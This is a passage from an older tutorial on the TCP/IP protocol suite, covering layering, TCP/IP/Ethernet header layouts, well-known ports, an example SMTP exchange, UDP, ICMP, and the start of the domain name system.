Berkeley Unix contains two servers to execute commands remotely: + rsh and rexec. The man pages describe the protocols that they + use. The user-contributed software with Berkeley 4.3 contains a + "distributed shell" that will distribute tasks among a set of + systems, depending upon load. Remote procedure call mechanisms + have been a topic for research for a number of years, so many + organizations have implementations of such facilities. The most + widespread commercially-supported remote procedure call protocols + seem to be Xerox's Courier and Sun's RPC. Protocol documents are + available from Xerox and Sun. There is a public implementation + of Courier over TCP as part of the user-contributed software with + Berkeley 4.3. An implementation of RPC was posted to Usenet by + Sun, and also appears as part of the user-contributed software + with Berkeley 4.3.) + + - name servers. In large installations, there are a number of + different collections of names that have to be managed. This + includes users and their passwords, names and network addresses + for computers, and accounts. It becomes very tedious to keep + this data up to date on all of the computers. Thus the databases + are kept on a small number of systems. Other systems access the + data over the network. (RFC 822 and 823 describe the name server + protocol used to keep track of host names and Internet addresses + on the Internet. This is now a required part of any TCP/IP + implementation. IEN 116 describes an older name server protocol + that is used by a few terminal servers and other products to look + up host names. Sun's Yellow Pages system is designed as a + general mechanism to handle user names, file sharing groups, and + other databases commonly used by Unix systems. It is widely + available commercially. Its protocol definition is available + from Sun.) + + - terminal servers. Many installations no longer connect terminals + directly to computers. Instead they connect them to terminal + servers. A terminal server is simply a small computer that only + knows how to run telnet (or some other protocol to do remote + login). If your terminal is connected to one of these, you + simply type the name of a computer, and you are connected to it. + Generally it is possible to have active connections to more than + one computer at the same time. The terminal server will have + provisions to switch between connections rapidly, and to notify + you when output is waiting for another connection. (Terminal + servers use the telnet protocol, already mentioned. However any + real terminal server will also have to support name service and a + 4 + + + + number of other protocols.) + + - network-oriented window systems. Until recently, high- + performance graphics programs had to execute on a computer that + had a bit-mapped graphics screen directly attached to it. + Network window systems allow a program to use a display on a + different computer. Full-scale network window systems provide an + interface that lets you distribute jobs to the systems that are + best suited to handle them, but still give you a single + graphically-based user interface. (The most widely-implemented + window system is X. A protocol description is available from + MIT's Project Athena. A reference implementation is publically + available from MIT. A number of vendors are also supporting + NeWS, a window system defined by Sun. Both of these systems are + designed to use TCP/IP.) + +Note that some of the protocols described above were designed by +Berkeley, Sun, or other organizations. Thus they are not officially +part of the Internet protocol suite. However they are implemented +using TCP/IP, just as normal TCP/IP application protocols are. Since +the protocol definitions are not considered proprietary, and since +commercially-support implementations are widely available, it is +reasonable to think of these protocols as being effectively part of +the Internet suite. Note that the list above is simply a sample of +the sort of services available through TCP/IP. However it does +contain the majority of the "major" applications. The other +commonly-used protocols tend to be specialized facilities for getting +information of various kinds, such as who is logged in, the time of +day, etc. However if you need a facility that is not listed here, we +encourage you to look through the current edition of Internet +Protocols (currently RFC 1011), which lists all of the available +protocols, and also to look at some of the major TCP/IP +implementations to see what various vendors have added. + + + +2. General description of the TCP/IP protocols + + +TCP/IP is a layered set of protocols. In order to understand what +this means, it is useful to look at an example. A typical situation +is sending mail. First, there is a protocol for mail. This defines a +set of commands which one machine sends to another, e.g. commands to +specify who the sender of the message is, who it is being sent to, and +then the text of the message. However this protocol assumes that +there is a way to communicate reliably between the two computers. +Mail, like other application protocols, simply defines a set of +commands and messages to be sent. It is designed to be used together +with TCP and IP. TCP is responsible for making sure that the commands +get through to the other end. It keeps track of what is sent, and +retransmitts anything that did not get through. If any message is too +large for one datagram, e.g. the text of the mail, TCP will split it +up into several datagrams, and make sure that they all arrive +correctly. Since these functions are needed for many applications, +they are put together into a separate protocol, rather than being part + 5 + + + +of the specifications for sending mail. You can think of TCP as +forming a library of routines that applications can use when they need +reliable network communications with another computer. Similarly, TCP +calls on the services of IP. Although the services that TCP supplies +are needed by many applications, there are still some kinds of +applications that don't need them. However there are some services +that every application needs. So these services are put together into +IP. As with TCP, you can think of IP as a library of routines that +TCP calls on, but which is also available to applications that don't +use TCP. This strategy of building several levels of protocol is +called "layering". We think of the applications programs such as +mail, TCP, and IP, as being separate "layers", each of which calls on +the services of the layer below it. Generally, TCP/IP applications +use 4 layers: + + - an application protocol such as mail + + - a protocol such as TCP that provides services need by many + applications + + - IP, which provides the basic service of getting datagrams to + their destination + + - the protocols needed to manage a specific physical medium, such + as Ethernet or a point to point line. + +TCP/IP is based on the "catenet model". (This is described in more +detail in IEN 48.) This model assumes that there are a large number +of independent networks connected together by gateways. The user +should be able to access computers or other resources on any of these +networks. Datagrams will often pass through a dozen different +networks before getting to their final destination. The routing +needed to accomplish this should be completely invisible to the user. +As far as the user is concerned, all he needs to know in order to +access another system is an "Internet address". This is an address +that looks like 128.6.4.194. It is actually a 32-bit number. However +it is normally written as 4 decimal numbers, each representing 8 bits +of the address. (The term "octet" is used by Internet documentation +for such 8-bit chunks. The term "byte" is not used, because TCP/IP is +supported by some computers that have byte sizes other than 8 bits.) +Generally the structure of the address gives you some information +about how to get to the system. For example, 128.6 is a network +number assigned by a central authority to Rutgers University. Rutgers +uses the next octet to indicate which of the campus Ethernets is +involved. 128.6.4 happens to be an Ethernet used by the Computer +Science Department. The last octet allows for up to 254 systems on +each Ethernet. (It is 254 because 0 and 255 are not allowed, for +reasons that will be discussed later.) Note that 128.6.4.194 and +128.6.5.194 would be different systems. The structure of an Internet +address is described in a bit more detail later. + +Of course we normally refer to systems by name, rather than by +Internet address. When we specify a name, the network software looks +it up in a database, and comes up with the corresponding Internet +address. Most of the network software deals strictly in terms of the + 6 + + + +address. (RFC 882 describes the name server technology used to handle +this lookup.) + +TCP/IP is built on "connectionless" technology. Information is +transfered as a sequence of "datagrams". A datagram is a collection +of data that is sent as a single message. Each of these datagrams is +sent through the network individually. There are provisions to open +connections (i.e. to start a conversation that will continue for some +time). However at some level, information from those connections is +broken up into datagrams, and those datagrams are treated by the +network as completely separate. For example, suppose you want to +transfer a 15000 octet file. Most networks can't handle a 15000 octet +datagram. So the protocols will break this up into something like 30 +500-octet datagrams. Each of these datagrams will be sent to the +other end. At that point, they will be put back together into the +15000-octet file. However while those datagrams are in transit, the +network doesn't know that there is any connection between them. It is +perfectly possible that datagram 14 will actually arrive before +datagram 13. It is also possible that somewhere in the network, an +error will occur, and some datagram won't get through at all. In that +case, that datagram has to be sent again. + +Note by the way that the terms "datagram" and "packet" often seem to +be nearly interchangable. Technically, datagram is the right word to +use when describing TCP/IP. A datagram is a unit of data, which is +what the protocols deal with. A packet is a physical thing, appearing +on an Ethernet or some wire. In most cases a packet simply contains a +datagram, so there is very little difference. However they can +differ. When TCP/IP is used on top of X.25, the X.25 interface breaks +the datagrams up into 128-byte packets. This is invisible to IP, +because the packets are put back together into a single datagram at +the other end before being processed by TCP/IP. So in this case, one +IP datagram would be carried by several packets. However with most +media, there are efficiency advantages to sending one datagram per +packet, and so the distinction tends to vanish. + + + +2.1 The TCP level + + +Two separate protocols are involved in handling TCP/IP datagrams. TCP +(the "transmission control protocol") is responsible for breaking up +the message into datagrams, reassembling them at the other end, +resending anything that gets lost, and putting things back in the +right order. IP (the "internet protocol") is responsible for routing +individual datagrams. It may seem like TCP is doing all the work. +And in small networks that is true. However in the Internet, simply +getting a datagram to its destination can be a complex job. A +connection may require the datagram to go through several networks at +Rutgers, a serial line to the John von Neuman Supercomputer Center, a +couple of Ethernets there, a series of 56Kbaud phone lines to another +NSFnet site, and more Ethernets on another campus. Keeping track of +the routes to all of the destinations and handling incompatibilities +among different transport media turns out to be a complex job. Note + 7 + + + +that the interface between TCP and IP is fairly simple. TCP simply +hands IP a datagram with a destination. IP doesn't know how this +datagram relates to any datagram before it or after it. + +It may have occurred to you that something is missing here. We have +talked about Internet addresses, but not about how you keep track of +multiple connections to a given system. Clearly it isn't enough to +get a datagram to the right destination. TCP has to know which +connection this datagram is part of. This task is referred to as +"demultiplexing." In fact, there are several levels of demultiplexing +going on in TCP/IP. The information needed to do this demultiplexing +is contained in a series of "headers". A header is simply a few extra +octets tacked onto the beginning of a datagram by some protocol in +order to keep track of it. It's a lot like putting a letter into an +envelope and putting an address on the outside of the envelope. +Except with modern networks it happens several times. It's like you +put the letter into a little envelope, your secretary puts that into a +somewhat bigger envelope, the campus mail center puts that envelope +into a still bigger one, etc. Here is an overview of the headers that +get stuck on a message that passes through a typical TCP/IP network: + +We start with a single data stream, say a file you are trying to send +to some other computer: + + ...................................................... + +TCP breaks it up into manageable chunks. (In order to do this, TCP +has to know how large a datagram your network can handle. Actually, +the TCP's at each end say how big a datagram they can handle, and then +they pick the smallest size.) + + .... .... .... .... .... .... .... .... + +TCP puts a header at the front of each datagram. This header actually +contains at least 20 octets, but the most important ones are a source +and destination "port number" and a "sequence number". The port +numbers are used to keep track of different conversations. Suppose 3 +different people are transferring files. Your TCP might allocate port +numbers 1000, 1001, and 1002 to these transfers. When you are sending +a datagram, this becomes the "source" port number, since you are the +source of the datagram. Of course the TCP at the other end has +assigned a port number of its own for the conversation. Your TCP has +to know the port number used by the other end as well. (It finds out +when the connection starts, as we will explain below.) It puts this +in the "destination" port field. Of course if the other end sends a +datagram back to you, the source and destination port numbers will be +reversed, since then it will be the source and you will be the +destination. Each datagram has a sequence number. This is used so +that the other end can make sure that it gets the datagrams in the +right order, and that it hasn't missed any. (See the TCP +specification for details.) TCP doesn't number the datagrams, but the +octets. So if there are 500 octets of data in each datagram, the +first datagram might be numbered 0, the second 500, the next 1000, the +next 1500, etc. Finally, I will mention the Checksum. This is a +number that is computed by adding up all the octets in the datagram + 8 + + + +(more or less - see the TCP spec). The result is put in the header. +TCP at the other end computes the checksum again. If they disagree, +then something bad happened to the datagram in transmission, and it is +thrown away. So here's what the datagram looks like now. + + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Source Port | Destination Port | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Sequence Number | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Acknowledgment Number | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Data | |U|A|P|R|S|F| | + | Offset| Reserved |R|C|S|S|Y|I| Window | + | | |G|K|H|T|N|N| | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Checksum | Urgent Pointer | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | your data ... next 500 octets | + | ...... | + +If we abbreviate the TCP header as "T", the whole file now looks like +this: + + T.... T.... T.... T.... T.... T.... T.... + +You will note that there are items in the header that I have not +described above. They are generally involved with managing the +connection. In order to make sure the datagram has arrived at its +destination, the recipient has to send back an "acknowledgement". +This is a datagram whose "Acknowledgement number" field is filled in. +For example, sending a packet with an acknowledgement of 1500 +indicates that you have received all the data up to octet number 1500. +If the sender doesn't get an acknowledgement within a reasonable +amount of time, it sends the data again. The window is used to +control how much data can be in transit at any one time. It is not +practical to wait for each datagram to be acknowledged before sending +the next one. That would slow things down too much. On the other +hand, you can't just keep sending, or a fast computer might overrun +the capacity of a slow one to absorb data. Thus each end indicates +how much new data it is currently prepared to absorb by putting the +number of octets in its "Window" field. As the computer receives +data, the amount of space left in its window decreases. When it goes +to zero, the sender has to stop. As the receiver processes the data, +it increases its window, indicating that it is ready to accept more +data. Often the same datagram can be used to acknowledge receipt of a +set of data and to give permission for additional new data (by an +updated window). The "Urgent" field allows one end to tell the other +to skip ahead in its processing to a particular octet. This is often +useful for handling asynchronous events, for example when you type a +control character or other command that interrupts output. The other +fields are beyond the scope of this document. + + + + 9 + + + +2.2 The IP level + + +TCP sends each of these datagrams to IP. Of course it has to tell IP +the Internet address of the computer at the other end. Note that this +is all IP is concerned about. It doesn't care about what is in the +datagram, or even in the TCP header. IP's job is simply to find a +route for the datagram and get it to the other end. In order to allow +gateways or other intermediate systems to forward the datagram, it +adds its own header. The main things in this header are the source +and destination Internet address (32-bit addresses, like 128.6.4.194), +the protocol number, and another checksum. The source Internet +address is simply the address of your machine. (This is necessary so +the other end knows where the datagram came from.) The destination +Internet address is the address of the other machine. (This is +necessary so any gateways in the middle know where you want the +datagram to go.) The protocol number tells IP at the other end to +send the datagram to TCP. Although most IP traffic uses TCP, there +are other protocols that can use IP, so you have to tell IP which +protocol to send the datagram to. Finally, the checksum allows IP at +the other end to verify that the header wasn't damaged in transit. +Note that TCP and IP have separate checksums. IP needs to be able to +verify that the header didn't get damaged in transit, or it could send +a message to the wrong place. For reasons not worth discussing here, +it is both more efficient and safer to have TCP compute a separate +checksum for the TCP header and data. Once IP has tacked on its +header, here's what the message looks like: + + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + |Version| IHL |Type of Service| Total Length | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Identification |Flags| Fragment Offset | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Time to Live | Protocol | Header Checksum | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Source Address | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Destination Address | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | TCP header, then your data ...... | + | | + +If we represent the IP header by an "I", your file now looks like +this: + + IT.... IT.... IT.... IT.... IT.... IT.... IT.... + +Again, the header contains some additional fields that have not been +discussed. Most of them are beyond the scope of this document. The +flags and fragment offset are used to keep track of the pieces when a +datagram has to be split up. This can happen when datagrams are +forwarded through a network for which they are too big. (This will be +discussed a bit more below.) The time to live is a number that is +decremented whenever the datagram passes through a system. When it +goes to zero, the datagram is discarded. This is done in case a loop + 10 + + + +develops in the system somehow. Of course this should be impossible, +but well-designed networks are built to cope with "impossible" +conditions. + +At this point, it's possible that no more headers are needed. If your +computer happens to have a direct phone line connecting it to the +destination computer, or to a gateway, it may simply send the +datagrams out on the line (though likely a synchronous protocol such +as HDLC would be used, and it would add at least a few octets at the +beginning and end). + + + +2.3 The Ethernet level + + +However most of our networks these days use Ethernet. So now we have +to describe Ethernet's headers. Unfortunately, Ethernet has its own +addresses. The people who designed Ethernet wanted to make sure that +no two machines would end up with the same Ethernet address. +Furthermore, they didn't want the user to have to worry about +assigning addresses. So each Ethernet controller comes with an +address builtin from the factory. In order to make sure that they +would never have to reuse addresses, the Ethernet designers allocated +48 bits for the Ethernet address. People who make Ethernet equipment +have to register with a central authority, to make sure that the +numbers they assign don't overlap any other manufacturer. Ethernet is +a "broadcast medium". That is, it is in effect like an old party line +telephone. When you send a packet out on the Ethernet, every machine +on the network sees the packet. So something is needed to make sure +that the right machine gets it. As you might guess, this involves the +Ethernet header. Every Ethernet packet has a 14-octet header that +includes the source and destination Ethernet address, and a type code. +Each machine is supposed to pay attention only to packets with its own +Ethernet address in the destination field. (It's perfectly possible +to cheat, which is one reason that Ethernet communications are not +terribly secure.) Note that there is no connection between the +Ethernet address and the Internet address. Each machine has to have a +table of what Ethernet address corresponds to what Internet address. +(We will describe how this table is constructed a bit later.) In +addition to the addresses, the header contains a type code. The type +code is to allow for several different protocol families to be used on +the same network. So you can use TCP/IP, DECnet, Xerox NS, etc. at +the same time. Each of them will put a different value in the type +field. Finally, there is a checksum. The Ethernet controller +computes a checksum of the entire packet. When the other end receives +the packet, it recomputes the checksum, and throws the packet away if +the answer disagrees with the original. The checksum is put on the +end of the packet, not in the header. The final result is that your +message looks like this: + + + + + + 11 + + + + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet destination address (first 32 bits) | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)| + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet source address (last 32 bits) | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Type code | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | IP header, then TCP header, then your data | + | | + ... + | | + | end of your data | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | Ethernet Checksum | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + +If we represent the Ethernet header with "E", and the Ethernet +checksum with "C", your file now looks like this: + + EIT....C EIT....C EIT....C EIT....C EIT....C + +When these packets are received by the other end, of course all the +headers are removed. The Ethernet interface removes the Ethernet +header and the checksum. It looks at the type code. Since the type +code is the one assigned to IP, the Ethernet device driver passes the +datagram up to IP. IP removes the IP header. It looks at the IP +protocol field. Since the protocol type is TCP, it passes the +datagram up to TCP. TCP now looks at the sequence number. It uses +the sequence numbers and other information to combine all the +datagrams into the original file. + +The ends our initial summary of TCP/IP. There are still some crucial +concepts we haven't gotten to, so we'll now go back and add details in +several areas. (For detailed descriptions of the items discussed here +see, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for +sending IP over Ethernet.) + + + +3. Well-known sockets and the applications layer + + +So far, we have described how a stream of data is broken up into +datagrams, sent to another computer, and put back together. However +something more is needed in order to accomplish anything useful. +There has to be a way for you to open a connection to a specified +computer, log into it, tell it what file you want, and control the +transmission of the file. (If you have a different application in +mind, e.g. computer mail, some analogous protocol is needed.) This is +done by "application protocols". The application protocols run "on +top" of TCP/IP. That is, when they want to send a message, they give +the message to TCP. TCP makes sure it gets delivered to the other +end. Because TCP and IP take care of all the networking details, the + 12 + + + +applications protocols can treat a network connection as if it were a +simple byte stream, like a terminal or phone line. + +Before going into more details about applications programs, we have to +describe how you find an application. Suppose you want to send a file +to a computer whose Internet address is 128.6.4.7. To start the +process, you need more than just the Internet address. You have to +connect to the FTP server at the other end. In general, network +programs are specialized for a specific set of tasks. Most systems +have separate programs to handle file transfers, remote terminal +logins, mail, etc. When you connect to 128.6.4.7, you have to specify +that you want to talk to the FTP server. This is done by having +"well-known sockets" for each server. Recall that TCP uses port +numbers to keep track of individual conversations. User programs +normally use more or less random port numbers. However specific port +numbers are assigned to the programs that sit waiting for requests. +For example, if you want to send a file, you will start a program +called "ftp". It will open a connection using some random number, say +1234, for the port number on its end. However it will specify port +number 21 for the other end. This is the official port number for the +FTP server. Note that there are two different programs involved. You +run ftp on your side. This is a program designed to accept commands +from your terminal and pass them on to the other end. The program +that you talk to on the other machine is the FTP server. It is +designed to accept commands from the network connection, rather than +an interactive terminal. There is no need for your program to use a +well-known socket number for itself. Nobody is trying to find it. +However the servers have to have well-known numbers, so that people +can open connections to them and start sending them commands. The +official port numbers for each program are given in "Assigned +Numbers". + +Note that a connection is actually described by a set of 4 numbers: +the Internet address at each end, and the TCP port number at each end. +Every datagram has all four of those numbers in it. (The Internet +addresses are in the IP header, and the TCP port numbers are in the +TCP header.) In order to keep things straight, no two connections can +have the same set of numbers. However it is enough for any one number +to be different. For example, it is perfectly possible for two +different users on a machine to be sending files to the same other +machine. This could result in connections with the following +parameters: + + Internet addresses TCP ports + connection 1 128.6.4.194, 128.6.4.7 1234, 21 + connection 2 128.6.4.194, 128.6.4.7 1235, 21 + +Since the same machines are involved, the Internet addresses are the +same. Since they are both doing file transfers, one end of the +connection involves the well-known port number for FTP. The only +thing that differs is the port number for the program that the users +are running. That's enough of a difference. Generally, at least one +end of the connection asks the network software to assign it a port +number that is guaranteed to be unique. Normally, it's the user's +end, since the server has to use a well-known number. + 13 + + + + +Now that we know how to open connections, let's get back to the +applications programs. As mentioned earlier, once TCP has opened a +connection, we have something that might as well be a simple wire. +All the hard parts are handled by TCP and IP. However we still need +some agreement as to what we send over this connection. In effect +this is simply an agreement on what set of commands the application +will understand, and the format in which they are to be sent. +Generally, what is sent is a combination of commands and data. They +use context to differentiate. For example, the mail protocol works +like this: Your mail program opens a connection to the mail server at +the other end. Your program gives it your machine's name, the sender +of the message, and the recipients you want it sent to. It then sends +a command saying that it is starting the message. At that point, the +other end stops treating what it sees as commands, and starts +accepting the message. Your end then starts sending the text of the +message. At the end of the message, a special mark is sent (a dot in +the first column). After that, both ends understand that your program +is again sending commands. This is the simplest way to do things, and +the one that most applications use. + +File transfer is somewhat more complex. The file transfer protocol +involves two different connections. It starts out just like mail. +The user's program sends commands like "log me in as this user", "here +is my password", "send me the file with this name". However once the +command to send data is sent, a second connection is opened for the +data itself. It would certainly be possible to send the data on the +same connection, as mail does. However file transfers often take a +long time. The designers of the file transfer protocol wanted to +allow the user to continue issuing commands while the transfer is +going on. For example, the user might make an inquiry, or he might +abort the transfer. Thus the designers felt it was best to use a +separate connection for the data and leave the original command +connection for commands. (It is also possible to open command +connections to two different computers, and tell them to send a file +from one to the other. In that case, the data couldn't go over the +command connection.) + +Remote terminal connections use another mechanism still. For remote +logins, there is just one connection. It normally sends data. When +it is necessary to send a command (e.g. to set the terminal type or to +change some mode), a special character is used to indicate that the +next character is a command. If the user happens to type that special +character as data, two of them are sent. + +We are not going to describe the application protocols in detail in +this document. It's better to read the RFC's yourself. However there +are a couple of common conventions used by applications that will be +described here. First, the common network representation: TCP/IP is +intended to be usable on any computer. Unfortunately, not all +computers agree on how data is represented. There are differences in +character codes (ASCII vs. EBCDIC), in end of line conventions +(carriage return, line feed, or a representation using counts), and in +whether terminals expect characters to be sent individually or a line +at a time. In order to allow computers of different kinds to +communicate, each applications protocol defines a standard + 14 + + + +representation. Note that TCP and IP do not care about the +representation. TCP simply sends octets. However the programs at +both ends have to agree on how the octets are to be interpreted. The +RFC for each application specifies the standard representation for +that application. Normally it is "net ASCII". This uses ASCII +characters, with end of line denoted by a carriage return followed by +a line feed. For remote login, there is also a definition of a +"standard terminal", which turns out to be a half-duplex terminal with +echoing happening on the local machine. Most applications also make +provisions for the two computers to agree on other representations +that they may find more convenient. For example, PDP-10's have 36-bit +words. There is a way that two PDP-10's can agree to send a 36-bit +binary file. Similarly, two systems that prefer full-duplex terminal +conversations can agree on that. However each application has a +standard representation, which every machine must support. + + + +3.1 An example application: SMTP + + +In order to give a bit better idea what is involved in the application +protocols, I'm going to show an example of SMTP, which is the mail +protocol. (SMTP is "simple mail transfer protocol.) We assume that a +computer called TOPAZ.RUTGERS.EDU wants to send the following message. + + Date: Sat, 27 Jun 87 13:26:31 EDT + From: hedrick@topaz.rutgers.edu + To: levy@red.rutgers.edu + Subject: meeting + + Let's get together Monday at 1pm. + +First, note that the format of the message itself is described by an +Internet standard (RFC 822). The standard specifies the fact that the +message must be transmitted as net ASCII (i.e. it must be ASCII, with +carriage return/linefeed to delimit lines). It also describes the +general structure, as a group of header lines, then a blank line, and +then the body of the message. Finally, it describes the syntax of the +header lines in detail. Generally they consist of a keyword and then +a value. + +Note that the addressee is indicated as LEVY@RED.RUTGERS.EDU. +Initially, addresses were simply "person at machine". However recent +standards have made things more flexible. There are now provisions +for systems to handle other systems' mail. This can allow automatic +forwarding on behalf of computers not connected to the Internet. It +can be used to direct mail for a number of systems to one central mail +server. Indeed there is no requirement that an actual computer by the +name of RED.RUTGERS.EDU even exist. The name servers could be set up +so that you mail to department names, and each department's mail is +routed automatically to an appropriate computer. It is also possible +that the part before the @ is something other than a user name. It is +possible for programs to be set up to process mail. There are also +provisions to handle mailing lists, and generic names such as + 15 + + + +"postmaster" or "operator". + +The way the message is to be sent to another system is described by +RFC's 821 and 974. The program that is going to be doing the sending +asks the name server several queries to determine where to route the +message. The first query is to find out which machines handle mail +for the name RED.RUTGERS.EDU. In this case, the server replies that +RED.RUTGERS.EDU handles its own mail. The program then asks for the +address of RED.RUTGERS.EDU, which is 128.6.4.2. Then the mail program +opens a TCP connection to port 25 on 128.6.4.2. Port 25 is the +well-known socket used for receiving mail. Once this connection is +established, the mail program starts sending commands. Here is a +typical conversation. Each line is labelled as to whether it is from +TOPAZ or RED. Note that TOPAZ initiated the connection: + + RED 220 RED.RUTGERS.EDU SMTP Service at 29 Jun 87 05:17:18 EDT + TOPAZ HELO topaz.rutgers.edu + RED 250 RED.RUTGERS.EDU - Hello, TOPAZ.RUTGERS.EDU + TOPAZ MAIL From: + RED 250 MAIL accepted + TOPAZ RCPT To: + RED 250 Recipient accepted + TOPAZ DATA + RED 354 Start mail input; end with . + TOPAZ Date: Sat, 27 Jun 87 13:26:31 EDT + TOPAZ From: hedrick@topaz.rutgers.edu + TOPAZ To: levy@red.rutgers.edu + TOPAZ Subject: meeting + TOPAZ + TOPAZ Let's get together Monday at 1pm. + TOPAZ . + RED 250 OK + TOPAZ QUIT + RED 221 RED.RUTGERS.EDU Service closing transmission channel + +First, note that commands all use normal text. This is typical of the +Internet standards. Many of the protocols use standard ASCII +commands. This makes it easy to watch what is going on and to +diagnose problems. For example, the mail program keeps a log of each +conversation. If something goes wrong, the log file can simply be +mailed to the postmaster. Since it is normal text, he can see what +was going on. It also allows a human to interact directly with the +mail server, for testing. (Some newer protocols are complex enough +that this is not practical. The commands would have to have a syntax +that would require a significant parser. Thus there is a tendency for +newer protocols to use binary formats. Generally they are structured +like C or Pascal record structures.) Second, note that the responses +all begin with numbers. This is also typical of Internet protocols. +The allowable responses are defined in the protocol. The numbers +allow the user program to respond unambiguously. The rest of the +response is text, which is normally for use by any human who may be +watching or looking at a log. It has no effect on the operation of +the programs. (However there is one point at which the protocol uses +part of the text of the response.) The commands themselves simply +allow the mail program on one end to tell the mail server the + 16 + + + +information it needs to know in order to deliver the message. In this +case, the mail server could get the information by looking at the +message itself. But for more complex cases, that would not be safe. +Every session must begin with a HELO, which gives the name of the +system that initiated the connection. Then the sender and recipients +are specified. (There can be more than one RCPT command, if there are +several recipients.) Finally the data itself is sent. Note that the +text of the message is terminated by a line containing just a period. +(If such a line appears in the message, the period is doubled.) After +the message is accepted, the sender can send another message, or +terminate the session as in the example above. + +Generally, there is a pattern to the response numbers. The protocol +defines the specific set of responses that can be sent as answers to +any given command. However programs that don't want to analyze them +in detail can just look at the first digit. In general, responses +that begin with a 2 indicate success. Those that begin with 3 +indicate that some further action is needed, as shown above. 4 and 5 +indicate errors. 4 is a "temporary" error, such as a disk filling. +The message should be saved, and tried again later. 5 is a permanent +error, such as a non-existent recipient. The message should be +returned to the sender with an error message. + +(For more details about the protocols mentioned in this section, see +RFC's 821/822 for mail, RFC 959 for file transfer, and RFC's 854/855 +for remote logins. For the well-known port numbers, see the current +edition of Assigned Numbers, and possibly RFC 814.) + + + +4. Protocols other than TCP: UDP and ICMP + + +So far, we have described only connections that use TCP. Recall that +TCP is responsible for breaking up messages into datagrams, and +reassembling them properly. However in many applications, we have +messages that will always fit in a single datagram. An example is +name lookup. When a user attempts to make a connection to another +system, he will generally specify the system by name, rather than +Internet address. His system has to translate that name to an address +before it can do anything. Generally, only a few systems have the +database used to translate names to addresses. So the user's system +will want to send a query to one of the systems that has the database. +This query is going to be very short. It will certainly fit in one +datagram. So will the answer. Thus it seems silly to use TCP. Of +course TCP does more than just break things up into datagrams. It +also makes sure that the data arrives, resending datagrams where +necessary. But for a question that fits in a single datagram, we +don't need all the complexity of TCP to do this. If we don't get an +answer after a few seconds, we can just ask again. For applications +like this, there are alternatives to TCP. + +The most common alternative is UDP ("user datagram protocol"). UDP is +designed for applications where you don't need to put sequences of +datagrams together. It fits into the system much like TCP. There is + 17 + + + +a UDP header. The network software puts the UDP header on the front +of your data, just as it would put a TCP header on the front of your +data. Then UDP sends the data to IP, which adds the IP header, +putting UDP's protocol number in the protocol field instead of TCP's +protocol number. However UDP doesn't do as much as TCP does. It +doesn't split data into multiple datagrams. It doesn't keep track of +what it has sent so it can resend if necessary. About all that UDP +provides is port numbers, so that several programs can use UDP at +once. UDP port numbers are used just like TCP port numbers. There +are well-known port numbers for servers that use UDP. Note that the +UDP header is shorter than a TCP header. It still has source and +destination port numbers, and a checksum, but that's about it. No +sequence number, since it is not needed. UDP is used by the protocols +that handle name lookups (see IEN 116, RFC 882, and RFC 883), and a +number of similar protocols. + +Another alternative protocol is ICMP ("Internet control message +protocol"). ICMP is used for error messages, and other messages +intended for the TCP/IP software itself, rather than any particular +user program. For example, if you attempt to connect to a host, your +system may get back an ICMP message saying "host unreachable". ICMP +can also be used to find out some information about the network. See +RFC 792 for details of ICMP. ICMP is similar to UDP, in that it +handles messages that fit in one datagram. However it is even simpler +than UDP. It doesn't even have port numbers in its header. Since all +ICMP messages are interpreted by the network software itself, no port +numbers are needed to say where a ICMP message is supposed to go. + + + +5. Keeping track of names and information: the domain system + + +As we indicated earlier, the network software generally needs a 32-bit +Internet address in order to open a connection or send a datagram. +However users prefer to deal with computer names rather than numbers. +Thus there is a database that allows the software to look up a name +and find the corresponding number. When the Internet was small, this +was easy. Each system would have a file that listed all of the other +systems, giving both their name and number. There are now too many +computers for this approach to be practical. Thus these files have +been replaced by a set of name servers that keep track of host names +and the corresponding Internet addresses. (In fact these servers are +somewhat more general than that. This is just one kind of information +stored in the domain system.) Note that a set of interlocking servers +are used, rather than a single central one. There are now so many +different institutions connected to the Internet that it would be +impractical for them to notify a central authority whenever they +installed or moved a computer. Thus naming authority is delegated to +individual 